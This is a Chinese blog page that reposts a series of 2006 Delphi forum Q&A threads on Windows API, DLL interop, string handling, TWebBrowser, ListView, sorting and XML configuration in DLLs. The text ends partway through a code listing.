delphi2007 教程

delphi2007 教程

首页 新随笔 联系 聚合 管理
  1013 Posts :: 0 Stories :: 28 Comments :: 0 Trackbacks

#

[原创/讨论] Windows 核心编程研究系列之二:读取物理内存地址中的内容 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061220115340108.html
请到以下连接观赏:  
   
  http://community.csdn.net/Expert/topic/5242/5242379.xml?temp=.6528589  
 

马上博客中会放出我编写的观察系统中任意进程虚拟地址的PTE工具,敬请关注。

(现已提供下载,带图版简介请到我的blog观赏:   http://blog.csdn.net/mydo/)    
   
  [原创]我写的一个观察系统进程特定虚拟地址页PTE的工具    
  观察系统进程特定虚拟地址页PTE的工具  
   
  关键词:虚拟地址,PTE  
   
  为了便于研究windows内核,我写了一个察看系统中特定进程虚拟地址页的PTE工具,  
   
  CPP   v1.0(Check   Process   PTE),界面图1所示:  
   
   
  图1  
   
   
  值得注意的是,在   PDE   Virtual   Addr   At   一栏中要输入16位数字,比如0x8000A000,只要  
   
  直接输入:8000a000即可。另外我考虑到了windows内存影射中的4MB大页,  
   
  见图2所示:  
   
     
  图2  
   
   
  由于是即兴之作,可能有很多错误的和未考虑到的地方,请各位多多提意见和建议,多谢了。  
   
  直接运行,绿色软件。  
   
   
  测试环境:  
   
  windows   2000   sp4   ,   windows   XP   sp2   。(9x   和   2003   未测试)    
   
   
  (软件下载地址:   http://download.csdn.net/source/160347)  
 

已在2个博客站同步更新,欢迎观赏:  
   
  http://blog.csdn.net/mydo/  
  http://hopy.blogchina.com  
 

posted @ 2008-10-14 16:36 delphi2007 阅读(159) | 评论 (0)编辑 收藏

窗体的autoscroll:=true,窗体scroll时,如何让窗体中的toolbar在窗体滚动时仍可见并保持在窗体最上方? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061220094547109.html
我在窗体的onmousescroll中加了如下代码,但toolbar的位置定位不准。我需要toolbar1的toolbar与窗体滚动保持同步。  
      if     WheelDelta<0   then     begin  
              SendMessage(self.Handle,WM_VSCROLL,SB_LINEDOWN,0);  
              ToolBar1.Top:=ToolBar1.Top+SB_LINEDOWN;  
      end   else   begin  
              SendMessage(self.Handle,WM_VSCROLL,SB_LINEUP,0);  
              ToolBar1.Top:=ToolBar1.Top+SB_LINEUP;  
      end;  
 

犯了个数学错误,这样就可以了。  
  但是我希望toolbar始终紧靠着窗体的VertScrollBar,怎么实现呢?  
  因为窗体的HorzScrollBar设置为不可见,所以如果toolbar.align:=alright的话,是看不见的。    
   
  if   WheelDelta<0   then   begin  
  SendMessage(self.Handle,WM_VSCROLL,SB_LINEDOWN,0);  
  ToolBar1.Top:=SB_LINEDOWN;  
  end   else   begin  
  SendMessage(self.Handle,WM_VSCROLL,SB_LINEUP,0);  
  ToolBar1.Top:=SB_LINEUP;  
  end;

你就不可以放个coolbar  
  再放一个tscrollbox   吗?

posted @ 2008-10-14 16:36 delphi2007 阅读(364) | 评论 (0)编辑 收藏

Delphi Result問題 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061220091412110.html
請問delphi自定議函數中的result是不是和其它語言的return一樣?不過在其它語言中遇到return便會結束函數.delphi中好像不是.請高手幫助提示下!!!

区别在与:  
  在c++中:  
  跳出一个函数用return   (返回类型),在return的同时就跳出函数了,   无返回类型函数   直接return就跳出了。  
   
   
  但delphi不一样:   result中保存的是返回值,    
  但真正跳出函数要用exit,   exit在退出函数的同时把result值返回,   如果是procedure,就没有result

delphi中result一般做为函数的返回值,不做为退出条件,退出条件是楼上所说exit,abort等

给   result   赋值不会退出函数。

posted @ 2008-10-14 16:36 delphi2007 阅读(522) | 评论 (0)编辑 收藏

问一个调用VC下编写的dll的问题???好怪哦 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061220075845111.html
接口函数定义:  
  extern   "C"   DllExport   int   PCFileCopyToOther(char   Disk,    
  LPCSTR   PCFileName,    
  LPCSTR   OtherFileName,  
  BOOL   IsDispProgress,  
  LPCSTR   Message)  
  我在delphi引入如下:  
      function   PCFileCopyToOther(Disk:Byte;PCFileName:PChar;OtherFileName:PChar;  
          IsDispProgress:Boolean;mess:PChar):Integer;stdcall;  
  function   PCFileCopyToDev;external   f3200_dll   name   'PCFileCopyToOther';  
  调用时我是这么调用的:  
  PCFileCopyToOther(0,PChar('1.txt'),PChar('2.txt'),True,PChar('请稍后...'));  
  当运行时在XP系统下就很少出错误,但到了2003   server系统下运行时就出现“内存不能read的错误”;当我将PChar改成shortstring时虽然不出错了,但是传参数时的值可能就不对了,每次调用都得不到预期的值。  
  LPCSTR应该对应是PChar吧

delphi中stdcall->cdecl

楼上,还是不行啊,XP和2003   server不一样吗

用shortstring倒是没出错,但是该怎么传递参数呢

Debug~~

楼上什么意思?

就是相对于RELEASE

没人知道吗

看来分发不下去了

可能的原因为,函数中要改参数的值,你用常量,就会出错  
  解决方法,用array   [0..xxx]   of   char代替pchar  
  或用pchar,但先申请内存,再赋值,最后再调函数

posted @ 2008-10-14 16:35 delphi2007 阅读(99) | 评论 (0)编辑 收藏

请教:A和B是两个tstringlist,如何除去B里面所有与A里面相同的项目?用下面的代码为什么会出错呢? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061220050104112.html
我的意思是,如果是A,B是集合的话,那么我要B-A;  
   
      for   x:=1   to   A.count   do    
          for   y:=1   to   B.count   do    
              if   a[x-1]=b[y-1]   then   b.delete(y-1);  
   
  用如下代码为什么会出错,如何修改呢?万分感谢回答的朋友!  
         
 

for   x:=1   to   A.count   do    
          for   y:=B.count-1   downto   0   do    
              if   a[x-1]=b[y-1]   then   b.delete(y-1);  
   
  因为你在B中删除一个项目后,B的COUNT值就变化了.....所以啊你应当在查询B时,要用DOWNTO来循环.

严重同意一楼。

楼上说的对,不能从头到脚,只能从脚到头这样删除才行

function   StringReplace(const   S,   OldPattern,   NewPattern:   string;   Flags:   TReplaceFlags):   string;

posted @ 2008-10-14 16:35 delphi2007 阅读(131) | 评论 (0)编辑 收藏

如何读取网页源码然后生成html文件? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219212425113.html
我在网上找了好久没有找到,不知道用哪个函数可以实现?希望给段代码,谢谢了,在线等.

uses   ActiveX,   ComObj;  
  //...  
   
  function   GetHtml(const   WebBrowser:TWebBrowser):   string;//此函数原作者卢小海  
  const  
        BufSize   =   $10000;  
  var  
        Size:   Int64;  
        Stream:   IStream;  
        hHTMLText:   HGLOBAL;  
        psi:   IPersistStreamInit;  
  begin  
        if   not   Assigned(WebBrowser.Document)   then   Exit;  
        OleCheck(WebBrowser.Document.QueryInterface(IPersistStreamInit,   psi));  
        try  
              hHTMLText   :=   GlobalAlloc(GPTR,   BufSize);  
              if   0   =   hHTMLText   then   RaiseLastWin32Error;  
              OleCheck(CreateStreamOnHGlobal(hHTMLText,True,   Stream));  
              try  
                    OleCheck(psi.Save(Stream,   False));  
                    Size   :=   StrLen(PChar(hHTMLText));  
                    SetLength(Result,   Size);  
                    CopyMemory(PChar(Result),   Pointer(hHTMLText),Size);  
              finally  
                    Stream   :=   nil;  
              end;  
        finally  
              psi   :=   nil;  
        end;  
  end;  
   
  procedure   TForm1.Button1Click(Sender:   TObject);  
  var  
      HtmF:Textfile;  
  begin  
      memo1.Text:=gethtml(WebBrowser1);  
      assignfile(HtmF,'c:\result.htm');  
      rewrite(HtmF);  
      writeln(HtmF,memo1.text);  
      closefile(HtmF);  
  end;  
   
  procedure   TForm1.Button2Click(Sender:   TObject);  
  begin  
      webbrowser1.Navigate('http://www.google.com');  
  end;

------------引自   大富翁。    
   
  借助   webbrower   控件。  
   
  webbrower.nagivate('your   url')  
   
   
  8、直接从TWebBrowser得到网页源码及Html  
   
    下面先介绍一种极其简单的得到TWebBrowser正在访问的网页源码的方法。一般方法是利用TWebBrowser控件中的Document对象提供的IPersistStreamInit接口来实现,具体就是:先检查WebBrowser.Document对象是否有效,无效则退出;然后取得IPersistStreamInit接口,接着取得HTML源码的大小,分配全局堆内存块,建立流,再将HTML文本写到流中。程序虽然不算复杂,但是有更简单的方法,所以实现代码不再给出。其实基本上所有IE的功能TWebBrowser都应该有较为简单的方法来实现,获取网页源码也是一样。下面的代码将网页源码显示在Memo1中。  
   
     Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterHtml);  
   
    同时,在用TWebBrowser浏览HTML文件的时候要将其保存为文本文件就很简单了,不需要任何的语法解析工具,因为TWebBrowser也完成了,如下:  
   
     Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterText);  
   
 

 
  lihuasoft(学习低调做人)      
   
  的   很深  
   
  看不懂

简单的就是最好的。我的也是抄别人的。抛别人的玉引玉。

^  
 

posted @ 2008-10-14 16:35 delphi2007 阅读(1001) | 评论 (0)编辑 收藏

看看这段代码有没有内存泄露? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219185953114.html
类方法:  
  function   TAdoHelper.GetDataSet(sqlstr:   string;   params:   TStrings):   TDataSet;  
  var  
      TempQuery:   TAdoQuery;  
  begin  
      TempQuery:=   TAdoQuery.Create(nil);  
      TempQuery.Connection:=   FConnector;  
      TempQuery.Close;  
      TempQuery.SQL.Clear;  
      TempQuery.SQL.Add(sqlstr);  
      TempQuery.Prepared;  
      FillParameters(TempQuery,Params);  
      TempQuery.Open;  
      result:=   TempQuery;  
  end;  
   
  客户端:  
  result:=   MySqlHelper.GetDataSet(SQL_GetUserDataSet);  
   
  这样返回临时对象的引用,函数内部的临时对象tempquery何时释放?如果不释放会不会造成内存泄露?  
   
 

关注!

如果客户端的result没有free的话,会产生内存泄漏,即分配给tempquery的内存块没有了引用。  
  对于class类型的返回值,建议改成过程,使用变参传入。

function   TAdoHelper.GetDataSet(sqlstr:   string;   params:   TStrings):   TDataSet;  
  begin  
      Result   :=   TAdoQuery.Create(nil);  
      with   Result   do  
      begin  
          Connection:=   FConnector;  
          Close;  
          SQL.Clear;  
          SQL.Add(sqlstr);  
          Prepared;  
            FillParameters(Result,Params);  
          Open;  
      end;  
  end;  
   
  客户端:  
  AdataSet   :=     MySqlHelper.GetDataSet(SQL_GetUserDataSet);  
  ....  
  ADataSet.Free;     //   这样就干净了。。

恩,楼上说的是对的。这样做,应该是可以的。。

posted @ 2008-10-14 16:35 delphi2007 阅读(239) | 评论 (0)编辑 收藏

求助!从excel导出数据? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219174414115.html
如题,如何实现!  
 

com接口

请详细点可以嘛?  
  系统为3层结构,希望通过控件实现

posted @ 2008-10-14 16:35 delphi2007 阅读(179) | 评论 (0)编辑 收藏

為什麼不能識別該數據類型 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219144304116.html
我現在使用的是sql   server   2000作為後台,用delphi進行開發,現在為什麼我的dataset   不能識別Memo類型數據啦,以前是可以的哦,請高手幫忙

人品問題

posted @ 2008-10-14 16:35 delphi2007 阅读(102) | 评论 (0)编辑 收藏

delphi的人气可不怎么样呀??天天就那几个破问题,还没人回答!! Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219141400117.html
好不容易自己碰到个问题,还半天冷场,真没劲。  
   
 

1、求人先求已;  
  2、不是所有问题问题都值得人回答;  
  3、不是所有人都有时间在网上泡;  
 

当然回答问题的人是有的,就是感觉场面冷清了点。  
   
  到其他板块就没有这种感觉,难道用delphi的人少吗?

BCB更冷场  
 

我觉得还好,昨天晚上我提的一个问题有人给答了,关键是要等,还要不停的顶

maozefa(阿发伯)   (   )   信誉:110         Blog     2006-12-19   14:38:15     得分:   0      
     
     
        BCB更冷场  
  ------------------------------------------------------------------------------  
   
  我就是从BCB过来的,发现Delphi比BCB更冷,不对,BCB里的人气很不错,我是因为BCB6的ocx的问题(做一个项目)和编译速度慢的问题才转过来的。  
   
   
   
   
   
       
     
 

posted @ 2008-10-14 16:35 delphi2007 阅读(117) | 评论 (0)编辑 收藏

求教,c#如何调用delphi编写的dll中的函数 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219114602118.html
如题;  
  由于工作需要用到c#,但是有写函数用c#太不习惯了,于是用delphi写,但是调用时出现了问题,开始以为是函数写错了,但是后来写了个最简单的showmessage也不行  
   
  delphi中  
        声明部分  
        procedure   Showmsg(mText:string);       cdecl;  
        定义部分  
        procedure   Showmsg(mText:string);       cdecl;  
        begin  
          ShowMessage(mText);//就随便测试下  
        end;  
        给出端口  
        exports  
            Showmsg;                     //编译生成Project2.dll  
   
  c#中  
        引用  
          [DllImport("Project2.dll")]    
          private   static   extern   string   Showmsg(string   mText);  
        随便放入一个按纽点击事件  
            Showmsg("afsdfas");  
        结果只show出了第一个字符   “a”  
   
        如果把delphi中的过程写成一个函数,那就show成了空的,没接收到入参  
   
  不知道应该怎样写,请高手指点  
         
 

仔细看一下有关教材,Delphi里的string类型与C里面的并不一样,  
  procedure   Showmsg(mText:pchar);       cdecl;  
  这样才可以  
   
   
 

但是c#里面好象没有pchar型,只有char型  
  试了一下不行,show出来的是乱码。。。

汗,我的意思是指在DELPHI里面要使用pchar   型......

或者干脆使用指针+长度   两个参数来传递.....

结贴

posted @ 2008-10-14 16:35 delphi2007 阅读(658) | 评论 (0)编辑 收藏

刚学,做个listview,居然没做出来,请教 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219095103119.html
什么smallimages也不知道怎么填?  
  item:  
  data啊,  
  imageIndexa啊  
  listview1.addItem(?string?,??)  
   
  给个例子吧  
   
  以前搞pb,非常方便,参照帮助文件很容易  
  说实在的pb的帮助文件做得比delphi好多了  
 

var  
      vListItem:   TListItem;  
  begin  
      ListView1.SmallImages   :=   ImageList1;  
      vListItem   :=   ListView1.Items.Add;   //   添加一项  
      vListItem.Caption   :=   'Zswang路过';  
      vListItem.ImageIndex   :=   0;  
      vListItem.Data   :=   Pointer(100);  
  end;

请问ImageList1,Pointer(100)是什么类型,应该怎样声明,赋初值

ImageList1我知道了,讲一下Pointer(100)吧

Pointer是指针类型,就是强制转换.

我有一个string型的变量s  
  怎么赋给vListItem.Data  
  如果vListItem.Data   :=   Pointer(s);编译不过

我有一个string型的变量s  
  怎么赋给vListItem.Data  
  如果vListItem.Data   :=   Pointer(s);编译不过  
   
  ->  
  为什么不     vListItem.SubItems.Add(s);

能说说怎么把string赋值给  
  vListItem.Data么

用TObject强制转换

posted @ 2008-10-14 16:35 delphi2007 阅读(106) | 评论 (0)编辑 收藏

在DEPHI中如何将ScriptErrorsSuppressed的属性添加到TWebBrowser上 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061219015830120.html
在DEPHI中如何将ScriptErrorsSuppressed的属性添加到TWebBrowser上

谢谢  
      
  刚学的,silent=true   即可  
   
  关于MSHTML.DLL错误,据说是控件的问题  
  我现在让TWEBROWSER根据我的命令不停的调用网页,就会出现这个问题,  
  我想可能和网页停了,但脚本还在运行有关  
 

posted @ 2008-10-14 16:35 delphi2007 阅读(245) | 评论 (0)编辑 收藏

String[60]类型的值怎么赋给array[0..59] of Char类型啊? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218235013121.html
不知道  
  String[60]类型的值怎么赋给array[0..59]   of   Char类型  
   
  请指教!

var  
      _String:   String[60];  
      _ArrChar:   array[0..59]   of   Char;  
  begin  
    StrPLCopy(_ArrChar,   _String,   60);  
  end;

posted @ 2008-10-14 16:35 delphi2007 阅读(476) | 评论 (1)编辑 收藏

初学请教一下,怎么运行记事本 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218190014122.html
初学者来问问,不要笑我哦  
   
  怎么用BUTTON来运行一个XP的程序呢  
  就比如记事本吧,记事本占的资源小一点点  
  要是运运3DMAX我机子可要重启了~~嘿嘿~~

多种方法,最简单的  
  procedure   TForm1.Button1Click(Sender:   TObject);  
  begin  
  winexec('notepad.exe',sw_show);  
  end;  
 

谢谢咯  
  我试试看  
 

哈哈,还真成功了,  
  还可以在写入路行运行其他程序  
  再次感谢~~

up  
 

ShellExecute(0,   'open',   PChar('notepad.exe'),   nil,   nil,   SW_SHOW)

posted @ 2008-10-14 16:35 delphi2007 阅读(187) | 评论 (0)编辑 收藏

一个if语句执行到一半的时候,用什么方法可以跳出来啊 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218163235123.html
比如下面代码:  
   
  if   ****     then  
  begin  
      try  
          *****  
      except  
          #####      
      end;  
      ******  
  end;  
   
  我想让程序在####号的地方跳出这个if语句,我这样写不知道大家能不能看明白。  
  在线等,谢谢

那下面不执行的话,好办.exit;  
  否则的话,考虑循环语句。。

你试试GOTO好象是专门用来跳的

exit

如果if后面还有代码要执行,可用goto语句,否则exit或者raise(重新引发异常)

exit  
 

如果if后面还有代码要执行,可用goto语句,否则exit或者raise(重新引发异常)  
  =============  
  我就遇到,觉得很奇怪

你做个标志不就行了吗?  
  var  
      tempResult:byte;  
   
  tempresult:=0;  
  if   ****     then  
  begin  
      try  
          *****  
          tempresult:=$FF;  
      except  
          #####    
          tempresult:=$E0;    
      end;  
      ******  
      if   tempresult=$E0   then  
          begin  
              //you   code   here....  
   
          end;  
   
  end;  
   
   
  这样的办法,你可以做任何级的控制都行。。。。。。

方法太多了,你如果连这个问题都解决不了,建议你及早转行吧!     不是我打击你...

是啊,做个标识比较好  
  我刚用过这类的东西

exit

jixiaoqiang(探索者)   (   )   信誉:100         Blog     2006-12-19   14:26:19     得分:   0      
     
     
         
  方法太多了,你如果连这个问题都解决不了,建议你及早转行吧!     不是我打击你...  
   
       
     
  ======================  
   
  说得好直接啊……  
   
  可以考虑一下dinglinger(红辣椒)   的办法。

同意做个标记,这样小问题除非是写傻了,不然为值得放分!

if   ****     then  
  begin  
      try  
          *****  
      except  
          #####      
      end;  
      ******  
  end;  
  改成:  
  if   ****     then  
  begin  
      try  
          *****  
          ******  
      except  
          #####      
      end;  
  end;

abort   也可以

不过   慎用

根本不需要跳转语句的。  
  修改如下:  
  if   ****     then  
  begin  
      try  
          *****                       '如果此处出现异常,   则转至#####执行  
          ******                     '否则继续执行这个******  
      except  
          #####      
      end;  
  end;

建议你先去学C/Pascal  
  而不是Delphi/MFC

posted @ 2008-10-14 16:35 delphi2007 阅读(515) | 评论 (0)编辑 收藏

如何实现以下排序的算法 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218161948124.html
有类似如下一字符串:“2:牛   4:鸡   1:猪   3:虎   8:猴   3:马”如何实现按生肖前面的数值从大小到的顺序排列,即得到如下字串:“8:猴   4:鸡   3:虎   3:马   2:牛   1:猪”

放到TStringList里,   调用Sort方法

sort可以针对这种字符吗,我也有这样想过

order   by....

这种方法不行,11   排在了2的后面。   不行。

我的思路,先分解出来,再排序,再重组  
  按你那种格式的话,就截取字符串,5个一截(最后一个是4个),最多截12次  
  就可以得到  
  2:牛  
  4:鸡  
  1:猪  
  ...  
  然后可以字符串直接比较排序了,最后重组字符串  
   
   
 

喔,不行,然后再分解一次,从后往前截3位,就可以得到前面的数字了.

用tstringlist的CustomSort就可以了,如:  
  function   mycomp(List:   TStringList;   Index1,   Index2:   Integer):   Integer;  
  var  
      p,n1,n2:integer;  
      s:string;  
  begin  
      p:=pos(':',list.Strings[index1]);  
      n1:=StrToInt(copy(list.Strings[index1],1,p-1));  
      p:=pos(':',list.Strings[index2]);  
      n2:=StrToInt(copy(list.Strings[index2],1,p-1));  
      result:=n1-n2;  
  end;  
   
  procedure   TForm1.Button1Click(Sender:   TObject);  
  var  
      t:tstringlist;  
  begin  
      t:=tstringlist.Create;  
      t.Add('1:aweqw');  
      t.Add('2:asd');  
      t.Add('4:adas');  
      t.Add('11:asdasd');  
      t.Add('15:ewr');  
      t.Add('10:sdfsdf');  
      t.Add('20:sfsd');  
      t.CustomSort(mycomp);  
      Memo1.Lines.AddStrings(t);  
  end;  
 

我的意思是先把它们排好,然后付值,按照1234…………,再进行排序就可以了,

var  
      I   :   Integer   ;  
      s                                   :   string;  
      p                                   :   pchar;  
      StringList                 :   TstringList;  
      p1                                 :   pchar;  
  begin  
      StringList   :=   Tstringlist.create();  
      s   :=   '2:牛   4:鸡   1:猪   3:虎   8:猴   3:马';  
      p   :=   @s[1];  
      p1   :=   p;  
      while   p^   <>   #0   do  
      begin  
          if   p^   =   char('   ')   then  
          begin  
              p^   :=   char(0);  
              Stringlist.add(strpas(p1));  
              inc(p);  
              p1   :=   p;  
          end;  
          inc(p);  
      end;  
      StringList.sort;  
      for   I   :=   0   to   StringList.Count   -   1   do         //   Iterate  
          begin  
              showmessage(Stringlist.Strings[i])   ;  
          end   ;         //   for  
      StringList.free;  
 

posted @ 2008-10-14 16:35 delphi2007 阅读(144) | 评论 (0)编辑 收藏

如何声明一个全局变量,可以在应用的任何单元引用 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218153004125.html
如何声明一个全局变量,可以在应用的任何单元引用

unit   unit1;  
   
  interface  
   
  var  
      Test:   Integer;  
   
   
   
  unit   unit2;  
   
  interface  
      uses   Unit1;  
   
  .....  
 

大哥,我今早升星了。

大哥,我今早升星了。  
  ==============================================================================  
  恭喜啊,我几年才一个星,你不到2月升星,够卫星的,特别是在D版严重人气不足的情况下。  
 

可以随时被赋值,随时被引用,希望这个值从上一次被赋值后保持不变,可以不

当然可以

可以随时被赋值,随时被引用,希望这个值从上一次被赋值后保持不变,可以不  
  =========================================================================  
  全局变量本来就具备你说的这些特点,只要在引用全局变量的单元中uses一下变量所在单元就行了。

posted @ 2008-10-14 16:35 delphi2007 阅读(309) | 评论 (0)编辑 收藏

文件读写的问题 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218152401126.html
我的文件是  
  [第一次]  
  00:00---00:40     第一次我拉着你得手  
  00:41---01:22     不知往哪走  
   
   
  要解决的问题是   我想  
  按前面给的时间   在   EDIT   中显示   在这一时间段的后面的字幕

加timer控制

时间/字数,看看该什么时候显示

posted @ 2008-10-14 16:35 delphi2007 阅读(75) | 评论 (0)编辑 收藏

关于在DLL中调用TXMLDocument时出错的问题! Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218133656127.html
我在dll中使用XML读取和写如配置,每次静态调用完以后都会出现错误:Access   violation   at   address   00000000.   Read   of   address   00000000.   ,应该是什么没有释放的问题请大家给看看  
  代码:  
  library   DoitLib;  
  uses  
      SysUtils,   xmldom,   XMLIntf,   MSxmldom,   XMLDoc,  
      Classes,   Forms,activex;  
   
  {$R   *.res}  
  ////////////////////////////////////////////////////////////////////////////////  
  /////////////////////////GetConfig:读取配置参数;返回值:Pchar//////////////////  
  //////////参数   Section   :分组节点;类型:Pchar//////////////////////////////////  
  //////////参数     Key:配置项节点:类型:Pchar   ///////////////////////////////////  
  /////////////////////////////////////////  
  ////////////////////////////////////////////////////////////////////////////////  
  function   GetConfig(Section,   Key:   Pchar):   Pchar;   stdcall;  
  var  
      MyPath:   string;   //文件路径  
      ConfigFile:   TXMLDocument;   //配置文件  
      TheNode:   IXMLNode;   //临时存储节点变量  
  begin  
      MyPath   :=   ExtractFileDir(GetModuleName(0))   +   '\Config.xml';   //获取文件路径  
      CoInitialize(nil);  
      ConfigFile   :=   TXMLDocument.Create(Application);   //创建XML  
    //   ConfigFile.DOMVendor   :=   OpenXMLFactory;   //指定解析器  
      ConfigFile.Active   :=   TRUE;  
      if   not   FileExists(MyPath)   then   {//如果文件不存在}     begin  
          result   :=   Pchar('');   //如果文件不存在,则返回空  
          exit;  
      end  
      else  
          ConfigFile.LoadFromFile(MyPath);   //如果文件存在,则从文件加载内容  
      TheNode   :=   ConfigFile.DocumentElement;   //获取根节点  
      if   TheNode.ChildNodes.FindNode(Section)   <>   nil   then  
          TheNode   :=   TheNode.ChildNodes.FindNode(Section)   //如果组节点存在,获取该组节点  
      else   begin  
          result   :=   Pchar('');   //如果组节点不存在,则返回空  
          exit;  
      end;  
   
      if   TheNode.ChildNodes.FindNode(Key)   <>   nil   then  
          TheNode   :=   TheNode.ChildNodes.FindNode(Key)   //如果配置项节点存在,获取该配置项节点  
      else   begin  
          result   :=   Pchar('');   //如果配置项节点不存在,则返回空  
          exit;  
      end;  
      result   :=   Pchar(TheNode.Text);  
    //   ConfigFile.Active   :=   false;  
      ConfigFile.Free;  
      CoUninitialize;  
  end;  
   
   
  function   SetConfig(Section,   Key,   NewValue:   Pchar):   integer;   stdcall;  
  var  
      MyPath:   string;   //文件路径  
      ConfigFile:   TXMLDocument;   //配置文件  
      TheNode:   IXMLNode;   //临时存储节点变量  
      TempRST:INTEGER;  
  begin  
      TempRST:=1;  
      CoInitialize(nil);  
      MyPath   :=   ExtractFileDir(GetModuleName(0))   +   '\Config.xml';   //获取文件路径  
   
      try  
          ConfigFile   :=   TXMLDocument.Create(Application);   //创建XML  
        //   ConfigFile.DOMVendor   :=   OpenXMLFactory;   //指定解析器  
          ConfigFile.Active   :=   TRUE;  
          //设置文件自动换行  
          if   not   FileExists(MyPath)   then   {//如果文件不存在}     begin  
   
              ConfigFile.Version   :=   '1.0';  
              ConfigFile.Encoding   :=   'GB2312';  
              ConfigFile.Options   :=   ConfigFile.Options   +   [doNodeAutoIndent];  
              TheNode   :=   ConfigFile.CreateNode('DoitFaxConfig');  
              ConfigFile.DocumentElement   :=   TheNode;  
          end  
          else   begin  
              ConfigFile.LoadFromFile(MyPath);   //如果文件存在,则从文件加载内容  
              ConfigFile.Version   :=   '1.0';  
              ConfigFile.Encoding   :=   'GB2312';  
              ConfigFile.Options   :=   ConfigFile.Options   +   [doNodeAutoIndent];  
          end;  
          TheNode   :=   ConfigFile.DocumentElement;   //获取根节点  
          if   TheNode.ChildNodes.FindNode(Section)   <>   nil   then  
              TheNode   :=   TheNode.ChildNodes.FindNode(Section)   //如果组节点存在,获取该组节点  
          else  
              TheNode   :=   TheNode.AddChild(Section);   //如果组节点不存在,则创建  
   
          if   TheNode.ChildNodes.FindNode(Key)   <>   nil   then  
              TheNode   :=   TheNode.ChildNodes.FindNode(Key)   //如果配置项节点存在,获取该配置项节点  
          else  
              TheNode   :=   TheNode.AddChild(Key);  
          TheNode.Text   :=   NewValue;  
          ConfigFile.SaveToFile(MyPath);  
          TempRST:=0;  
      finally  
      ConfigFile.Active   :=   false;  
      ConfigFile.Free;  
      ConfigFile.Destroy;  
      CoUninitialize;  
      result   :=   TempRST;  
      end;  
   
  end;  
  exports  
      GetConfig,   SetConfig;  
   
  begin  
  end.  
 

library   Project1;  
   
  {   Important   note   about   DLL   memory   management:   ShareMem   must   be   the  
      first   unit   in   your   library's   USES   clause   AND   your   project's   (select  
      Project-View   Source)   USES   clause   if   your   DLL   exports   any   procedures   or  
      functions   that   pass   strings   as   parameters   or   function   results.   This  
      applies   to   all   strings   passed   to   and   from   your   DLL--even   those   that  
      are   nested   in   records   and   classes.   ShareMem   is   the   interface   unit   to  
      the   BORLNDMM.DLL   shared   memory   manager,   which   must   be   deployed   along  
      with   your   DLL.   To   avoid   using   BORLNDMM.DLL,   pass   string   information  
      using   PChar   or   ShortString   parameters.   }  
   
  uses  
      SysUtils,XMLDoc,XMLIntf,activex,Forms,  
      Classes;  
   
  {$R   *.res}  
   
  function   GetConfig(Section,   Key:   Pchar):   Pchar;   stdcall;  
  var  
      MyPath:   string;   //文件路径  
      ConfigFile:   TXMLDocument;   //配置文件  
      TheNode:   IXMLNode;   //临时存储节点变量  
  begin  
      MyPath   :=   ExtractFileDir(GetModuleName(0))   +   '\Config.xml';   //获取文件路径  
      CoInitialize(nil);  
      ConfigFile   :=   TXMLDocument.Create(Application);   //创建XML  
    //   ConfigFile.DOMVendor   :=   OpenXMLFactory;   //指定解析器  
      ConfigFile.Active   :=   TRUE;  
      if   not   FileExists(MyPath)   then   {//如果文件不存在}     begin  
          result   :=   Pchar('');   //如果文件不存在,则返回空  
          exit;  
      end  
      else  
          ConfigFile.LoadFromFile(MyPath);   //如果文件存在,则从文件加载内容  
      TheNode   :=   ConfigFile.DocumentElement;   //获取根节点  
      if   TheNode.ChildNodes.FindNode(Section)   <>   nil   then  
          TheNode   :=   TheNode.ChildNodes.FindNode(Section)   //如果组节点存在,获取该组节点  
      else   begin  
          result   :=   Pchar('');   //如果组节点不存在,则返回空  
          exit;  
      end;  
   
      if   TheNode.ChildNodes.FindNode(Key)   <>   nil   then  
          TheNode   :=   TheNode.ChildNodes.FindNode(Key)   //如果配置项节点存在,获取该配置项节点  
      else   begin  
          result   :=   Pchar('');   //如果配置项节点不存在,则返回空  
          exit;  
      end;  
      result   :=   PChar(TheNode.Text);  
    //   ConfigFile.Active   :=   false;  
      ConfigFile.Free;  
      CoUninitialize;  
  end;  
   
   
  function   SetConfig(Section,   Key,   NewValue:   Pchar):   integer;   stdcall;  
  var  
      MyPath:   string;   //文件路径  
      ConfigFile:   TXMLDocument;   //配置文件  
      TheNode:   IXMLNode;   //临时存储节点变量  
      TempRST:INTEGER;  
  begin  
      TempRST:=1;  
      CoInitialize(nil);  
      MyPath   :=   ExtractFileDir(GetModuleName(0))   +   '\Config.xml';   //获取文件路径  
   
      try  
          ConfigFile   :=   TXMLDocument.Create(Application);   //创建XML  
        //   ConfigFile.DOMVendor   :=   OpenXMLFactory;   //指定解析器  
          ConfigFile.Active   :=   TRUE;  
          //设置文件自动换行  
          if   not   FileExists(MyPath)   then   {//如果文件不存在}     begin  
   
              ConfigFile.Version   :=   '1.0';  
              ConfigFile.Encoding   :=   'GB2312';  
              ConfigFile.Options   :=   ConfigFile.Options   +   [doNodeAutoIndent];  
